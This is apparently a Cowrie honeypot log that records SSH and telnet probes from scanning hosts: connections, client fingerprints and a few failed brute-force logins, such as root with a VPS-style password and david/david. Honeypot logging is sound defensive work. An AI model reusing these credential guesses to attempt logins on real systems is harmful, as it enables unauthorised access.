{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS8VCPU32GBAMD","message":"login attempt [root/QUEENVPS8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:31.178588Z","src_ip":"94.156.152.18","session":"829f62cacb98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.262850284576416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:31.775581Z","src_ip":"62.210.97.77","session":"0d502be388a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:32.284590Z","src_ip":"80.94.92.182","session":"eb8cea5d6bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:32.314518Z","src_ip":"94.156.152.18","session":"829f62cacb98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.560362577438354,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:32.562799Z","src_ip":"65.60.27.33","session":"17b61cefc0b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33414,"dst_ip":"10.17.0.5","dst_port":23,"session":"dedc9d927d52","protocol":"telnet","message":"New connection: 165.232.131.181:33414 (10.17.0.5:23) [session: dedc9d927d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:32.821212Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40856,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2e7e6a6e217","protocol":"telnet","message":"New connection: 62.210.97.77:40856 (10.17.0.5:23) [session: d2e7e6a6e217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:33.138438Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40872,"dst_ip":"10.17.0.5","dst_port":23,"session":"015497f6b101","protocol":"telnet","message":"New connection: 62.210.97.77:40872 (10.17.0.5:23) [session: 015497f6b101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:33.539340Z"}
{"eventid":"cowrie.session.closed","duration":33.82677435874939,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:34.190351Z","src_ip":"62.210.97.77","session":"3b65c88e3a0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.595032691955566,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:34.886317Z","src_ip":"65.60.27.33","session":"30198372bb78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.018731117248535,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:35.303600Z","src_ip":"62.210.97.77","session":"d74ed1e2865c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.96000576019287,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:37.213995Z","src_ip":"65.60.27.33","session":"c6bf249f83b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.93108367919922,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:37.559624Z","src_ip":"62.210.97.77","session":"5be01359a274","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10411620140076,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:38.560390Z","src_ip":"62.210.97.77","session":"8ba51eb10a16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42268,"dst_ip":"10.17.0.5","dst_port":23,"session":"10e85400c30b","protocol":"telnet","message":"New connection: 62.210.97.77:42268 (10.17.0.5:23) [session: 10e85400c30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:42.570662Z"}
{"eventid":"cowrie.session.closed","duration":41.197723150253296,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:43.491369Z","src_ip":"65.60.27.33","session":"7fa3934136ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36686,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c637cc74228","protocol":"telnet","message":"New connection: 165.232.131.181:36686 (10.17.0.5:23) [session: 4c637cc74228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:44.449395Z"}
{"eventid":"cowrie.session.closed","duration":40.534220457077026,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:44.497566Z","src_ip":"165.232.131.181","session":"d93abd065830","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42280,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ad00fc29e56","protocol":"telnet","message":"New connection: 62.210.97.77:42280 (10.17.0.5:23) [session: 7ad00fc29e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:45.785357Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42288,"dst_ip":"10.17.0.5","dst_port":23,"session":"613b1ddb3b31","protocol":"telnet","message":"New connection: 62.210.97.77:42288 (10.17.0.5:23) [session: 613b1ddb3b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:47.093409Z"}
{"eventid":"cowrie.session.closed","duration":33.29336714744568,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:47.218227Z","src_ip":"62.210.97.77","session":"94ab6cedacbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45150,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd1cdfad5f1a","protocol":"telnet","message":"New connection: 62.210.97.77:45150 (10.17.0.5:23) [session: fd1cdfad5f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:49.735258Z"}
{"eventid":"cowrie.session.closed","duration":37.28673434257507,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:49.762431Z","src_ip":"62.210.97.77","session":"b8c7eeb1c29c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.592358112335205,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:51.888899Z","src_ip":"65.60.27.33","session":"73cd34598f80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39612,"dst_ip":"10.17.0.5","dst_port":23,"session":"d471d3aa31d1","protocol":"telnet","message":"New connection: 165.232.131.181:39612 (10.17.0.5:23) [session: d471d3aa31d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:52.525238Z"}
{"eventid":"cowrie.session.closed","duration":40.97671341896057,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:53.003180Z","src_ip":"38.54.119.93","session":"0f925948451c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45154,"dst_ip":"10.17.0.5","dst_port":23,"session":"d48ae57e607b","protocol":"telnet","message":"New connection: 62.210.97.77:45154 (10.17.0.5:23) [session: d48ae57e607b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:53.329778Z"}
{"eventid":"cowrie.session.closed","duration":1.576958417892456,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:54.102093Z","src_ip":"165.232.131.181","session":"d471d3aa31d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.06559991836548,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:54.323143Z","src_ip":"62.210.97.77","session":"ead2d9a528e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":42736,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2224005956d","protocol":"ssh","message":"New connection: 141.11.21.145:42736 (10.17.0.5:22) [session: e2224005956d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:55.828286Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:55.908900Z","src_ip":"141.11.21.145","session":"e2224005956d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":42744,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ae80ed1c951","protocol":"ssh","message":"New connection: 141.11.21.145:42744 (10.17.0.5:22) [session: 2ae80ed1c951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:55.985894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:55.995003Z","src_ip":"141.11.21.145","session":"2ae80ed1c951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.792871713638306,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:56.047680Z","src_ip":"62.210.97.77","session":"a2f5ea4ca61a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:56.075893Z","src_ip":"141.11.21.145","session":"2ae80ed1c951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.60064911842346,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:56.146025Z","src_ip":"62.210.97.77","session":"494ee437607a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:56.316561Z","src_ip":"141.11.21.145","session":"2ae80ed1c951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:57.399821Z","src_ip":"141.11.21.145","session":"2ae80ed1c951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46350,"dst_ip":"10.17.0.5","dst_port":23,"session":"0550d13306b0","protocol":"telnet","message":"New connection: 62.210.97.77:46350 (10.17.0.5:23) [session: 0550d13306b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:58.769511Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43074,"dst_ip":"10.17.0.5","dst_port":23,"session":"66f99bd2beeb","protocol":"telnet","message":"New connection: 165.232.131.181:43074 (10.17.0.5:23) [session: 66f99bd2beeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:59.299062Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43186,"dst_ip":"10.17.0.5","dst_port":23,"session":"2864abb29fa9","protocol":"telnet","message":"New connection: 165.232.131.181:43186 (10.17.0.5:23) [session: 2864abb29fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:21:59.678630Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46360,"dst_ip":"10.17.0.5","dst_port":23,"session":"371f59466ed9","protocol":"telnet","message":"New connection: 62.210.97.77:46360 (10.17.0.5:23) [session: 371f59466ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:00.239331Z"}
{"eventid":"cowrie.session.closed","duration":36.02488946914673,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:00.980849Z","src_ip":"62.210.97.77","session":"89742398f6c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44738,"dst_ip":"10.17.0.5","dst_port":23,"session":"99938219270d","protocol":"telnet","message":"New connection: 65.60.27.33:44738 (10.17.0.5:23) [session: 99938219270d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:01.336196Z"}
{"eventid":"cowrie.session.closed","duration":120.00117802619934,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:01.494236Z","src_ip":"38.54.119.93","session":"a4a6244c2e54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.6235773563385,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:01.715179Z","src_ip":"62.210.97.77","session":"13b6b810d715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44388,"dst_ip":"10.17.0.5","dst_port":23,"session":"29301a058582","protocol":"telnet","message":"New connection: 165.232.131.181:44388 (10.17.0.5:23) [session: 29301a058582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:03.012958Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46374,"dst_ip":"10.17.0.5","dst_port":23,"session":"368a8720ec8f","protocol":"telnet","message":"New connection: 62.210.97.77:46374 (10.17.0.5:23) [session: 368a8720ec8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:03.574587Z"}
{"eventid":"cowrie.session.closed","duration":40.84424042701721,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:04.072657Z","src_ip":"65.60.27.33","session":"2e42d9a40db7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.61698079109192,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:06.436747Z","src_ip":"65.60.27.33","session":"4581c2d4650f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.40614676475525,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:07.544486Z","src_ip":"62.210.97.77","session":"d2e7e6a6e217","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.19687294960022,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:08.736118Z","src_ip":"62.210.97.77","session":"015497f6b101","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53770,"dst_ip":"10.17.0.5","dst_port":23,"session":"0472f97ecaeb","protocol":"telnet","message":"New connection: 65.60.27.33:53770 (10.17.0.5:23) [session: 0472f97ecaeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:09.058532Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36070,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa2740083393","protocol":"telnet","message":"New connection: 38.54.119.93:36070 (10.17.0.5:23) [session: fa2740083393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:09.184501Z"}
{"eventid":"cowrie.session.closed","duration":0.8562979698181152,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:09.914728Z","src_ip":"65.60.27.33","session":"0472f97ecaeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55102,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea6c0a28bcf7","protocol":"telnet","message":"New connection: 65.60.27.33:55102 (10.17.0.5:23) [session: ea6c0a28bcf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:10.151983Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36308,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dcdd28cbce1","protocol":"telnet","message":"New connection: 62.210.97.77:36308 (10.17.0.5:23) [session: 3dcdd28cbce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:11.209595Z"}
{"eventid":"cowrie.session.closed","duration":48.287229776382446,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:12.826157Z","src_ip":"165.232.131.181","session":"5c06c7d547ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47488,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fb33c3879c0","protocol":"telnet","message":"New connection: 165.232.131.181:47488 (10.17.0.5:23) [session: 8fb33c3879c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:13.224572Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":62818,"dst_ip":"159.203.135.109","dst_port":22,"session":"640228123035","protocol":"ssh","message":"New connection: 194.59.206.2:62818 (159.203.135.109:22) [session: 640228123035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:15.992116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:15.997292Z","src_ip":"194.59.206.2","session":"640228123035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.870940446853638,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:16.055315Z","src_ip":"38.54.119.93","session":"fa2740083393","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:16.094771Z","src_ip":"194.59.206.2","session":"640228123035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:16.190793Z","src_ip":"194.59.206.2","session":"640228123035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35550,"dst_ip":"10.17.0.5","dst_port":23,"session":"127e4a8d0ff4","protocol":"telnet","message":"New connection: 65.60.27.33:35550 (10.17.0.5:23) [session: 127e4a8d0ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:17.763139Z"}
{"eventid":"cowrie.session.closed","duration":32.20597982406616,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:17.991235Z","src_ip":"62.210.97.77","session":"7ad00fc29e56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.71004891395569,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:21.280594Z","src_ip":"62.210.97.77","session":"10e85400c30b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.33876895904541,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:22.432092Z","src_ip":"62.210.97.77","session":"613b1ddb3b31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.258445024490356,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:22.993558Z","src_ip":"62.210.97.77","session":"fd1cdfad5f1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.97407555580139,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:23.795152Z","src_ip":"165.232.131.181","session":"dedc9d927d52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":24412,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f204ab86aec","protocol":"ssh","message":"New connection: 89.218.69.66:24412 (159.203.135.109:22) [session: 5f204ab86aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:24.161164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:22:24.167138Z","src_ip":"89.218.69.66","session":"5f204ab86aec","protocol":"ssh"}
